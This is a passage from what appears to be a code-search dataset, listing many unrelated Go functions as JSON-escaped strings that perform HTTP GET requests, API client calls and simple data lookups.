nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Failed to create request: %v\\\", err)\\n\\t}\\n\\n\\treturn c.performRequest(r, headers, params)\\n}\",\n \"func (t *ApiTester) Get(route string) (*ApiTesterResponse, error) {\\n\\t// prepare the request here\\n\\trequest, err := http.NewRequest(\\\"GET\\\", \\\"http://\\\"+t.Server.Listener.Addr().String()+route, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// do the actual request here\\n\\tresponse, err := t.Client.Do(request)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tbodyBuffer, _ := ioutil.ReadAll(response.Body)\\n\\n\\treturn &ApiTesterResponse{\\n\\t\\tRawResponse: response,\\n\\t\\tStatusCode: response.StatusCode,\\n\\t\\tBodyStr: string(bodyBuffer),\\n\\t}, nil\\n}\",\n \"func (c *Client) get(rawURL string, authenticate bool, out interface{}) error {\\n\\terr := c.do(rawURL, \\\"GET\\\", authenticate, http.StatusOK, nil, out)\\n\\treturn errio.Error(err)\\n}\",\n \"func (mc *Controller) getRequest(requestParams driver.RequestType, postResponse driver.PostResponseType) driver.GetResponseType {\\n\\tlog.Debug().Msgf(\\\"Executing: getRequest.\\\")\\n\\tpolling := &backoff.Backoff{\\n\\t\\tMin: 5 * time.Second,\\n\\t\\tMax: 120 * time.Second,\\n\\t\\tFactor: 2,\\n\\t\\tJitter: false,\\n\\t}\\n\\tvar apiResponse *http.Response\\n\\trequestData := utils.HTTPRequestType{\\n\\t\\tMethod: http.MethodGet,\\n\\t\\tEndpoint: APIStackAnalyses + \\\"/\\\" + postResponse.ID,\\n\\t\\tThreeScaleToken: requestParams.ThreeScaleToken,\\n\\t\\tHost: requestParams.Host,\\n\\t\\tUserID: requestParams.UserID,\\n\\t}\\n\\tfor {\\n\\t\\td := polling.Duration()\\n\\t\\tlog.Debug().Msgf(\\\"Sleeping for %s\\\", d)\\n\\t\\ttime.Sleep(d)\\n\\t\\tapiResponse = utils.HTTPRequest(requestData)\\n\\t\\tif apiResponse.StatusCode != http.StatusAccepted {\\n\\t\\t\\t// Break when server returns anything other than 202.\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tlog.Debug().Msgf(\\\"Retrying...\\\")\\n\\t}\\n\\tbody := mc.validateGetResponse(apiResponse)\\n\\treturn body\\n}\",\n \"func (workCloud *WorkCloud) get(url string) (string, error) {\\n\\treq, err := http.NewRequest(\\\"GET\\\", url, nil)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\treq.Header.Add(\\\"User-Agent\\\", workCloud.agent)\\n\\n\\tres, err := workCloud.client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tdefer res.Body.Close()\\n\\tb, err := ioutil.ReadAll(res.Body)\\n\\n\\treturn string(b), nil\\n}\",\n \"func TezosRPCGet(arg string) (string, error){\\n output, err := TezosDo(\\\"rpc\\\", \\\"get\\\", arg)\\n if (err != nil){\\n return output, errors.New(\\\"Could not rpc get \\\" + arg + \\\" : tezosDo(args ...string) failed: \\\" + err.Error())\\n }\\n return output, nil\\n}\",\n \"func (c *NATSTestClient) GetRequest(t *testing.T) *Request {\\n\\tselect {\\n\\tcase r := <-c.reqs:\\n\\t\\treturn r\\n\\tcase <-time.After(timeoutSeconds * time.Second):\\n\\t\\tif t == nil {\\n\\t\\t\\tpprof.Lookup(\\\"goroutine\\\").WriteTo(os.Stdout, 1)\\n\\t\\t\\tpanic(\\\"expected a request but found none\\\")\\n\\t\\t} else {\\n\\t\\t\\tt.Fatal(\\\"expected a request but found none\\\")\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (cm *clientMock) GetValue(url string) (*http.Response, error) {\\n\\treturn getRequestFunc(url)\\n}\",\n \"func (a *Client) GetUniverseRaces(params *GetUniverseRacesParams) (*GetUniverseRacesOK, error) {\\n\\t// TODO: Validate the params before sending\\n\\tif params == nil {\\n\\t\\tparams = NewGetUniverseRacesParams()\\n\\t}\\n\\n\\tresult, err := a.transport.Submit(&runtime.ClientOperation{\\n\\t\\tID: \\\"get_universe_races\\\",\\n\\t\\tMethod: \\\"GET\\\",\\n\\t\\tPathPattern: \\\"/universe/races/\\\",\\n\\t\\tProducesMediaTypes: []string{\\\"application/json\\\"},\\n\\t\\tConsumesMediaTypes: []string{\\\"application/json\\\"},\\n\\t\\tSchemes: []string{\\\"https\\\"},\\n\\t\\tParams: params,\\n\\t\\tReader: &GetUniverseRacesReader{formats: a.formats},\\n\\t\\tContext: params.Context,\\n\\t\\tClient: params.HTTPClient,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn result.(*GetUniverseRacesOK), nil\\n\\n}\",\n \"func (c *Client) Get(endpoint string, params map[string]string) *grequests.Response {\\n\\turl := c.Endpoint + endpoint\\n\\tresp, err := grequests.Get(url, &grequests.RequestOptions{\\n\\t\\tParams: params,\\n\\t})\\n\\tif err != nil {\\n\\t\\tutilities.CheckError(resp.Error, \\\"Unable to make requests\\\")\\n\\t}\\n\\n\\tif resp.Ok != true {\\n\\t\\tlog.Println(\\\"Request did not return OK\\\")\\n\\t}\\n\\n\\treturn resp\\n}\",\n \"func Get(url string, data ...interface{}) (*ClientResponse, error) {\\n\\treturn DoRequest(\\\"GET\\\", url, data...)\\n}\",\n \"func Get(r *Resource) {\\n\\tchanJobs <- r\\n}\",\n \"func (y *Yeelight) CronGet(t string) string {\\n\\tcmd := `{\\\"id\\\":13,\\\"method\\\":\\\"cron_get\\\",\\\"params\\\":[` + t + `]}`\\n\\treturn y.request(cmd)\\n}\",\n \"func Get(url string, externalHeader ...map[string]string) ([]byte, error) {\\n\\t// check if request hit MaxParallel\\n\\tif cache.IsBurst(url) {\\n\\t\\treturn nil, ErrMaxParallel\\n\\t}\\n\\tdefer cache.Release(url)\\n\\n\\treq, err := http.NewRequest(http.MethodGet, url, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treq.Header.Set(\\\"Accept\\\", \\\"application/json\\\")\\n\\n\\tfor _, v := range externalHeader {\\n\\t\\tfor k := range v {\\n\\t\\t\\treq.Header.Set(k, v[k])\\n\\t\\t}\\n\\t}\\n\\n\\tresp, err := client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\tvar bf bytes.Buffer\\n\\tpooledCopy(&bf, resp.Body)\\n\\treturn bf.Bytes(), nil\\n}\",\n \"func fnHttpGet(t *starlark.Thread, fn *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\\n\\n\\trequest, err := newRequestFromStarlarkArgs(\\\"GET\\\", args, kwargs)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn newHttpResponse(http.DefaultClient.Do(request))\\n}\",\n \"func getCourse(code string) {\\n\\turl := baseURL + \\\"?key=\\\" + key\\n\\tif code != \\\"\\\" {\\n\\t\\turl = baseURL + \\\"/\\\" + code + \\\"?key=\\\" + key\\n\\t}\\n\\tresponse, err := client.Get(url)\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"The HTTP request failed with error %s\\\\n\\\", err)\\n\\t\\tlog.Error(\\\"Error at get course function\\\", err.Error())\\n\\t} else {\\n\\t\\tdata, _ := ioutil.ReadAll(response.Body)\\n\\t\\tfmt.Println(response.StatusCode)\\n\\t\\tfmt.Println(string(data))\\n\\t\\tresponse.Body.Close()\\n\\t}\\n}\",\n \"func GetVehicle(ctx context.Context, client *mongo.Client, reg string) (structs.Vehicle, error) {\\n\\tvar result structs.Vehicle\\n\\n\\tcol := client.Database(\\\"parkai\\\").Collection(\\\"vehicles\\\")\\n\\tfilter := bson.M{\\n\\t\\t\\\"registration\\\": reg,\\n\\t}\\n\\n\\t//reg does not exist\\n\\tif err := col.FindOne(ctx, filter).Decode(&result); err != nil {\\n\\t\\treturn structs.Vehicle{}, err\\n\\t}\\n\\n\\treturn result, nil\\n}\",\n \"func (c *Client) Get(url string, headers map[string][]string) (client.Status, map[string][]string, io.ReadCloser, error) {\\n\\treturn c.Do(\\\"GET\\\", url, headers, nil)\\n}\",\n \"func (c Client) get(path string, params url.Values, holder interface{}) error {\\n\\treturn c.request(\\\"GET\\\", path, params, &holder)\\n}\",\n \"func Get(c *gophercloud.ServiceClient, stackName, stackID, resourceName, eventID string) (r GetResult) {\\n\\tresp, err := c.Get(getURL(c, stackName, stackID, resourceName, eventID), &r.Body, nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func (w *Worker) Get(c *http.Client, url string, bind interface{}) (int, error) {\\n\\tr, err := c.Get(url)\\n\\tif err != nil {\\n\\t\\tif r != nil {\\n\\t\\t\\tioutil.ReadAll(r.Body)\\n\\t\\t\\tr.Body.Close()\\n\\t\\t}\\n\\t\\treturn 0, err\\n\\t}\\n\\tdefer r.Body.Close()\\n\\terr = json.NewDecoder(r.Body).Decode(bind)\\n\\tif bind == nil {\\n\\t\\treturn r.StatusCode, nil\\n\\t}\\n\\treturn r.StatusCode, err\\n}\",\n \"func get(url string) (string, error) {\\n\\t//defer fetch.CatchPanic(\\\"Get()\\\")\\n\\tresp, err := httpClient.Get(url)\\n\\tif err != nil {\\n\\t\\tpanic(\\\"Couldn't perform GET request to \\\" + url)\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\tbytes, err := ioutil.ReadAll(resp.Body)\\n\\tif err != nil {\\n\\t\\tpanic(\\\"Unable to read the response body\\\")\\n\\t}\\n\\ts := string(bytes)\\n\\treturn s, nil\\n}\",\n \"func httpGet(probe v1alpha1.ProbeAttributes, client *http.Client, resultDetails *types.ResultDetails) error {\\n\\t// it will retry for some retry count, in each iterations of try it contains following things\\n\\t// it contains a timeout per iteration of retry. if the timeout expires without success then it will go to next try\\n\\t// for a timeout, it will run the command, if it fails wait for the interval and again execute the command until timeout expires\\n\\treturn retry.Times(uint(probe.RunProperties.Retry)).\\n\\t\\tTimeout(int64(probe.RunProperties.ProbeTimeout)).\\n\\t\\tWait(time.Duration(probe.RunProperties.Interval) * time.Second).\\n\\t\\tTryWithTimeout(func(attempt uint) error {\\n\\t\\t\\t// getting the response from the given url\\n\\t\\t\\tresp, err := client.Get(probe.HTTPProbeInputs.URL)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\n\\t\\t\\tcode := strconv.Itoa(resp.StatusCode)\\n\\t\\t\\trc := getAndIncrementRunCount(resultDetails, probe.Name)\\n\\n\\t\\t\\t// comparing the response code with the expected criteria\\n\\t\\t\\tif err = cmp.RunCount(rc).\\n\\t\\t\\t\\tFirstValue(code).\\n\\t\\t\\t\\tSecondValue(probe.HTTPProbeInputs.Method.Get.ResponseCode).\\n\\t\\t\\t\\tCriteria(probe.HTTPProbeInputs.Method.Get.Criteria).\\n\\t\\t\\t\\tCompareInt(); err != nil {\\n\\t\\t\\t\\tlog.Errorf(\\\"The %v http probe get method has Failed, err: %v\\\", probe.Name, err)\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\treturn nil\\n\\t\\t})\\n}\",\n \"func (req *Req) Get(u string) ([]byte, error) {\\n\\treturn req.request(\\\"GET\\\", u)\\n}\",\n \"func (c *Client) Get(headers map[string]string, queryParams map[string]string) ([]byte, error) {\\n\\n\\t// add parameters to the url\\n\\tv := url.Values{}\\n\\tfor key, value := range queryParams {\\n\\t\\tv.Add(key, value)\\n\\t}\\n\\turi, err := url.Parse(c.baseURL)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\turi.RawQuery = v.Encode()\\n\\tc.baseURL = uri.String()\\n\\n\\t// create a new get request\\n\\trequest, err := http.NewRequest(\\\"GET\\\", c.baseURL, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// add headers to the request\\n\\tfor key, value := range headers {\\n\\t\\trequest.Header.Add(key, value)\\n\\t}\\n\\n\\tresponse, err := c.sendRequestWithRetry(request)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// if response is an error (not a 200)\\n\\tif response.StatusCode > 299 {\\n\\t\\treturn nil, errors.New(response.Status)\\n\\t}\\n\\t// read the body as an array of bytes\\n\\tresponseBody, err := ioutil.ReadAll(response.Body)\\n\\treturn responseBody, err\\n}\",\n \"func Get(method, url string, params map[string]string, vPtr interface{}) error {\\n\\taccount, token, err := LoginWithSelectedAccount()\\n\\tif err != nil {\\n\\t\\treturn LogError(\\\"Couldn't get account details or login token\\\", err)\\n\\t}\\n\\turl = fmt.Sprintf(\\\"%s%s\\\", account.ServerURL, url)\\n\\n\\treq, err := http.NewRequest(method, url, nil)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif token != \\\"\\\" {\\n\\t\\treq.Header.Add(\\\"Authorization\\\", fmt.Sprintf(\\\"Bearer %s\\\", token))\\n\\t}\\n\\tq := req.URL.Query()\\n\\tfor k, v := range params {\\n\\t\\tq.Add(k, v)\\n\\t}\\n\\treq.URL.RawQuery = q.Encode()\\n\\tresp, err := http.DefaultClient.Do(req)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tdefer CloseTheCloser(resp.Body)\\n\\n\\tdata, _ := ioutil.ReadAll(resp.Body)\\n\\n\\tif resp.StatusCode != 200 {\\n\\t\\trespBody := map[string]interface{}{}\\n\\t\\tif err := json.Unmarshal(data, &respBody); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\t_ = LogError(fmt.Sprintf(\\\"error while getting service got http status code %s - %s\\\", resp.Status, respBody[\\\"error\\\"]), nil)\\n\\t\\treturn fmt.Errorf(\\\"received invalid status code (%d)\\\", resp.StatusCode)\\n\\t}\\n\\n\\tif err := json.Unmarshal(data, vPtr); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func get(uri string) string {\\n\\tresp, err := http.Get(uri)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tbody, err := io.ReadAll(resp.Body)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\treturn string(body)\\n}\",\n \"func (c *Connection) Get(urlToGet string) (resp *http.Response, err error) {\\n\\tif !c.ready {\\n\\t\\terr = NotReadyError\\n\\t\\treturn\\n\\t}\\n\\n\\tlog.Debugf(\\\"[%s] getting %s\\\", c.name, urlToGet)\\n\\treq, err := http.NewRequest(\\\"GET\\\", urlToGet, nil)\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\tfor h := range c.headers {\\n\\t\\treq.Header.Set(h, c.headers[h])\\n\\t}\\n\\tresp, err = c.client.Do(req)\\n\\tif err != nil || resp.StatusCode != 200 {\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Tracef(\\\"[%s] got error: %s\\\", c.name, err.Error())\\n\\t\\t} else {\\n\\t\\t\\tlog.Tracef(\\\"[%s] got status code: %d\\\", c.name, resp.StatusCode)\\n\\t\\t\\t// bad code received, reload\\n\\t\\t\\tgo c.Connect()\\n\\t\\t}\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (c *Client) Get(ctx context.Context, url string, data ...interface{}) (*Response, error) {\\n\\treturn c.DoRequest(ctx, http.MethodGet, url, data...)\\n}\",\n \"func (c *TogglHttpClient) GetRequest(endpoint string) (*json.RawMessage, error) {\\n\\treturn request(c, \\\"GET\\\", endpoint, nil)\\n}\",\n \"func (a *Client) Get(params *GetParams) (*GetOK, error) {\\n\\t// TODO: Validate the params before sending\\n\\tif params == nil {\\n\\t\\tparams = NewGetParams()\\n\\t}\\n\\n\\tresult, err := a.transport.Submit(&runtime.ClientOperation{\\n\\t\\tID: \\\"get\\\",\\n\\t\\tMethod: \\\"GET\\\",\\n\\t\\tPathPattern: \\\"/\\\",\\n\\t\\tProducesMediaTypes: []string{\\\"application/json; qs=0.5\\\", \\\"application/vnd.schemaregistry+json; qs=0.9\\\", \\\"application/vnd.schemaregistry.v1+json\\\"},\\n\\t\\tConsumesMediaTypes: []string{\\\"application/json\\\", \\\"application/octet-stream\\\", \\\"application/vnd.schemaregistry+json\\\", \\\"application/vnd.schemaregistry.v1+json\\\"},\\n\\t\\tSchemes: []string{\\\"http\\\", \\\"https\\\"},\\n\\t\\tParams: params,\\n\\t\\tReader: &GetReader{formats: a.formats},\\n\\t\\tContext: params.Context,\\n\\t\\tClient: params.HTTPClient,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn result.(*GetOK), nil\\n\\n}\",\n \"func Get(path string, fn http.HandlerFunc, c ...alice.Constructor) {\\n\\tinfoMutex.Lock()\\n\\trecord(\\\"GET\\\", path)\\n\\tr.Get(path, alice.New(c...).ThenFunc(fn).(http.HandlerFunc))\\n\\tinfoMutex.Unlock()\\n}\",\n \"func (c *Client) Get(url string, headers, queryParams map[string][]string) (response *http.Response, err error) {\\n\\treturn c.makeRequest(url, http.MethodGet, headers, queryParams, nil)\\n}\",\n \"func (a *Client) Get(params *GetParams) (*GetOK, error) {\\n\\t// TODO: Validate the params before sending\\n\\tif params == nil {\\n\\t\\tparams = NewGetParams()\\n\\t}\\n\\n\\tresult, err := a.transport.Submit(&runtime.ClientOperation{\\n\\t\\tID: \\\"get\\\",\\n\\t\\tMethod: \\\"GET\\\",\\n\\t\\tPathPattern: \\\"/\\\",\\n\\t\\tProducesMediaTypes: []string{\\\"application/json; qs=0.5\\\", \\\"application/vnd.schemaregistry+json; qs=0.9\\\", \\\"application/vnd.schemaregistry.v1+json\\\"},\\n\\t\\tConsumesMediaTypes: []string{\\\"application/json\\\", \\\"application/octet-stream\\\", \\\"application/vnd.schemaregistry+json\\\", \\\"application/vnd.schemaregistry.v1+json\\\"},\\n\\t\\tSchemes: []string{\\\"http\\\", \\\"https\\\"},\\n\\t\\tParams: params,\\n\\t\\tReader: &GetReader{formats: a.formats},\\n\\t\\tContext: params.Context,\\n\\t\\tClient: params.HTTPClient,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tsuccess, ok := result.(*GetOK)\\n\\tif ok {\\n\\t\\treturn success, nil\\n\\t}\\n\\t// unexpected success response\\n\\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\\n\\tmsg := fmt.Sprintf(\\\"unexpected success response for get: API contract not enforced by server. Client expected to get an error, but got: %T\\\", result)\\n\\tpanic(msg)\\n}\",\n \"func (cli *OpsGenieTeamClient) Get(req team.GetTeamRequest) (*team.GetTeamResponse, error) {\\n\\treq.APIKey = cli.apiKey\\n\\tresp, err := cli.sendRequest(cli.buildGetRequest(teamURL, req))\\n\\n\\tif resp == nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\n\\tvar getTeamResp team.GetTeamResponse\\n\\n\\tif err = resp.Body.FromJsonTo(&getTeamResp); err != nil {\\n\\t\\tmessage := \\\"Server response can not be parsed, \\\" + err.Error()\\n\\t\\tlogging.Logger().Warn(message)\\n\\t\\treturn nil, errors.New(message)\\n\\t}\\n\\treturn &getTeamResp, nil\\n}\",\n \"func (c *Client) Get(url string) (*http.Response, error) {\\n\\tb := c.breakerLookup(url)\\n\\tif b == nil {\\n\\t\\treturn c.client.Get(url)\\n\\t}\\n\\n\\tctx := getGetCtx()\\n\\tdefer releaseGetCtx(ctx)\\n\\n\\tctx.Client = c.client\\n\\tctx.ErrorOnBadStatus = c.errOnBadStatus\\n\\tctx.URL = url\\n\\tif err := b.Call(ctx, breaker.WithTimeout(c.timeout)); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn ctx.Response, ctx.Error\\n}\",\n \"func TestGetVehicle(t *testing.T) {\\n\\tsetUp(t)\\n\\tdefer tearDown()\\n\\n\\t// Expect DB FindVehicle\\n\\tvehicle := model.Vehicle{Vin: \\\"vin1\\\", EngineType: \\\"Combustion\\\", EvData: nil}\\n\\tmockVehicleDAO.EXPECT().FindVehicle(gomock.Eq(\\\"vin1\\\")).Return(&vehicle, nil)\\n\\n\\t// Send GET request\\n\\treq, err := http.NewRequest(\\\"GET\\\", \\\"/vehicle?vin=vin1\\\", nil)\\n\\trequire.NoError(t, err)\\n\\trr := httptest.NewRecorder()\\n\\thandlers.GetVehicle(rr, req)\\n\\n\\t// Check code\\n\\trequire.Equal(t, 200, rr.Code)\\n\\n\\t// Check body\\n\\tvar responseVehicle model.Vehicle\\n\\terr = helpers.DecodeJSONBody(rr.Body, &responseVehicle)\\n\\trequire.NoError(t, err)\\n\\trequire.Equal(t, vehicle, responseVehicle)\\n}\",\n \"func getTeam(params martini.Params, w http.ResponseWriter, r *http.Request) {\\n\\tid := params[\\\"team\\\"]\\n\\tteam := models.NewTeam(id)\\n\\tskue.Read(view, team, nil, w, r)\\n}\",\n \"func Get(url string, res interface{}) (interface{}, error) {\\n\\tlog.Debug(\\\"GET %s token: %s\\\", url, *tokenPtr)\\n\\tr := resty.R()\\n\\tif res != nil {\\n\\t\\tr.SetResult(res)\\n\\t}\\n\\tr.SetHeader(\\\"Authorization\\\", fmt.Sprintf(\\\"Bearer %s\\\", *tokenPtr))\\n\\tresp, err := r.Get(url)\\n\\tif err == nil && resp.StatusCode() != 200 {\\n\\t\\treturn nil, fmt.Errorf(\\\"GET Request returned error %d: \\\", resp.StatusCode())\\n\\t}\\n\\treturn resp.Result(), err\\n}\",\n \"func (c *Client) RenterGet() (rg api.RenterGET, err error) {\\n\\terr = c.get(\\\"/renter\\\", &rg)\\n\\treturn\\n}\",\n \"func (tc *tclient) get() error {\\n\\t// 1 -- timeout via context.\\n\\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\\n\\tdefer cancel()\\n\\n\\treq, err := http.NewRequestWithContext(ctx,\\n\\t\\t\\\"GET\\\", tc.url+\\\"/ping\\\", nil)\\n\\n\\tresp, err := tc.client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tbody, err := ioutil.ReadAll(resp.Body)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tlog.Printf(\\\"SUCCESS: '%s'\\\", string(body))\\n\\treturn nil\\n}\",\n \"func infrastructure(client *http.Client, url string) ([]byte, error) {\\n\\treq, err := http.NewRequest(\\\"GET\\\", url, nil) // define req as request to the GET function\\n\\tresp, err := client.Do(req) // do the request\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"client req error: \\\" + err.Error())\\n\\t} else { // if there is an error, return nil and the error message\\n\\t\\tresponseBody, err := ioutil.ReadAll(resp.Body) // responseBody will get the body of \\\"resp\\\" - the output from the GET request.\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"body read error: \\\" + err.Error())\\n\\t\\t} else {\\n\\t\\t\\treturn responseBody, err\\n\\t\\t}\\n\\t}\\n}\",\n \"func (c *Client) Get(path string) (f interface{}, err error) {\\n\\treturn c.do(\\\"GET\\\", path, nil)\\n}\",\n \"func GetRaceByAddress(address string) models.Race {\\n\\tsession := connect()\\n\\tdefer session.Close()\\n\\n\\tc := session.DB(\\\"fellraces\\\").C(\\\"raceinfo\\\")\\n\\n\\tvar race models.Race\\n\\tc.Find(bson.M{\\\"venue\\\": address}).One(&race)\\n\\n\\treturn race\\n}\",\n \"func (api *PrimaryAPI) GetAllRaces(w http.ResponseWriter, r *http.Request) {\\n\\n\\tv, err := api.Election.GetAllRaces()\\n\\tif err != nil {\\n\\t\\tw.WriteHeader(500)\\n\\t\\tw.Write([]byte(err.Error()))\\n\\t\\treturn\\n\\t}\\n\\n\\tWriteJSON(w, v)\\n\\n}\",\n \"func (F *Frisby) Get(url string) *Frisby {\\n\\tF.Method = \\\"GET\\\"\\n\\tF.Url = url\\n\\treturn F\\n}\",\n \"func (session *Session) Get(path string, params Params) (res Result, err error) {\\n\\turlStr := session.app.BaseEndPoint + session.getRequestUrl(path, params)\\n\\n\\tvar response []byte\\n\\tresponse, err = session.SendGetRequest(urlStr)\\n\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tres, err = MakeResult(response)\\n\\treturn\\n}\",\n \"func (l *RemoteProvider) GetSchedule(req *http.Request, scheduleID string) ([]byte, error) {\\n\\tif !l.Capabilities.IsSupported(PersistSchedules) {\\n\\t\\tlogrus.Error(\\\"operation not available\\\")\\n\\t\\treturn nil, ErrInvalidCapability(\\\"PersistSchedules\\\", l.ProviderName)\\n\\t}\\n\\n\\tep, _ := l.Capabilities.GetEndpointForFeature(PersistSchedules)\\n\\n\\tlogrus.Infof(\\\"attempting to fetch schedule from cloud for id: %s\\\", scheduleID)\\n\\n\\tremoteProviderURL, _ := url.Parse(fmt.Sprintf(\\\"%s%s/%s\\\", l.RemoteProviderURL, ep, scheduleID))\\n\\tlogrus.Debugf(\\\"constructed schedule url: %s\\\", remoteProviderURL.String())\\n\\tcReq, _ := http.NewRequest(http.MethodGet, remoteProviderURL.String(), nil)\\n\\n\\ttokenString, err := l.GetToken(req)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tresp, err := l.DoRequest(cReq, tokenString)\\n\\tif err != nil {\\n\\t\\treturn nil, ErrFetch(err, \\\"Perf Schedule :\\\"+scheduleID, resp.StatusCode)\\n\\t}\\n\\tdefer func() {\\n\\t\\t_ = resp.Body.Close()\\n\\t}()\\n\\tbdr, err := ioutil.ReadAll(resp.Body)\\n\\tif err != nil {\\n\\t\\treturn nil, ErrDataRead(err, \\\"Perf Schedule :\\\"+scheduleID)\\n\\t}\\n\\n\\tif resp.StatusCode == http.StatusOK {\\n\\t\\tlogrus.Infof(\\\"schedule successfully retrieved from remote provider\\\")\\n\\t\\treturn bdr, nil\\n\\t}\\n\\treturn nil, ErrFetch(err, fmt.Sprint(bdr), resp.StatusCode)\\n}\",\n \"func get(pth string) (int, []byte, error) {\\n\\tresp, err := http.Get(Protocol + path.Join(URL, pth))\\n\\tif err != nil {\\n\\t\\treturn 0, nil, err\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\n\\tbody, err := ioutil.ReadAll(resp.Body)\\n\\tif err != nil {\\n\\t\\treturn 0, nil, err\\n\\t}\\n\\n\\treturn resp.StatusCode, body, nil\\n}\",\n \"func Get(url string) (resp *http.Response, err error) {\\n\\treturn do(\\\"GET\\\", url, nil)\\n}\",\n \"func (c *Client) Get(path string) (io.ReadCloser, error) {\\n\\n\\treq, err := http.NewRequest(\\\"GET\\\", c.url+\\\"/\\\"+path, nil)\\n\\tif err != nil {\\n\\t\\tlog.Fatalln(\\\"Failed: %v\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tlog.Printf(\\\"URL: %v\\\\n\\\", req.URL)\\n\\n\\treq.Header.Add(\\\"Authorization\\\", \\\"Bearer \\\"+c.apiKey)\\n\\n\\tresp, err := c.client.Do(req)\\n\\tif err != nil {\\n\\t\\tlog.Fatalln(\\\"Failed: %v\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn resp.Body, nil\\n}\",\n \"func get(stub shim.ChaincodeStubInterface, args []string) (string, error) {\\n if len(args) != 1 {\\n return \\\"\\\", fmt.Errorf(\\\"Incorrect arguments. Expecting a key\\\")\\n }\\n\\n PatientBytes, err := stub.GetState(args[0])\\n if err != nil {\\n return \\\"\\\", fmt.Errorf(\\\"Failed to get asset: %s with error: %s\\\", args[0], err)\\n }\\n if PatientBytes == nil {\\n return \\\"\\\", fmt.Errorf(\\\"Asset not found: %s\\\", args[0])\\n }\\n return string(PatientBytes), nil\\n}\",\n \"func (c *Client) Get(endpoint string) ([]byte, error) {\\n\\treservation := c.limiter.Reserve()\\n\\n\\tif !reservation.OK() {\\n\\t\\tduration := reservation.DelayFrom(time.Now())\\n\\t\\treservation.Cancel()\\n\\t\\treturn nil, fmt.Errorf(ErrRateLimited, duration.Milliseconds())\\n\\t}\\n\\n\\treqUrl := c.client.BaseUrl + endpoint\\n\\terr := c.PrepareRequest(http.MethodGet, endpoint, reqUrl, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\terr = c.client.Submit()\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"error submitting request\\\")\\n\\t}\\n\\n\\treservation.Cancel()\\n\\n\\treturn c.client.Response.Body(), nil\\n}\",\n \"func (api *apiConfig) MethodGet(uri string, queryParams map[string]string, decodedResponse interface{}) error {\\n\\t// If an override was configured, use it instead.\\n\\tif api.methodGet != nil {\\n\\t\\treturn api.methodGet(uri, queryParams, decodedResponse)\\n\\t}\\n\\n\\t// Form the request to make to WebFlow.\\n\\treq, err := http.NewRequest(\\\"GET\\\", api.BaseURL+uri, nil)\\n\\tif err != nil {\\n\\t\\treturn errors.New(fmt.Sprint(\\\"Unable to create a new http request\\\", err))\\n\\t}\\n\\n\\t// Webflow needs to know the auth token and the version of their API to use.\\n\\treq.Header.Set(\\\"Authorization\\\", \\\"Bearer \\\"+api.Token)\\n\\treq.Header.Set(\\\"Accept-Version\\\", defaultVersion)\\n\\n\\t// Set query parameters.\\n\\tif len(queryParams) > 0 {\\n\\t\\tquery := req.URL.Query()\\n\\t\\tfor key, val := range queryParams {\\n\\t\\t\\tquery.Add(key, val)\\n\\t\\t}\\n\\t\\treq.URL.RawQuery = query.Encode()\\n\\t}\\n\\n\\t// Make the request.\\n\\tres, err := api.Client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// TODO: read docs for 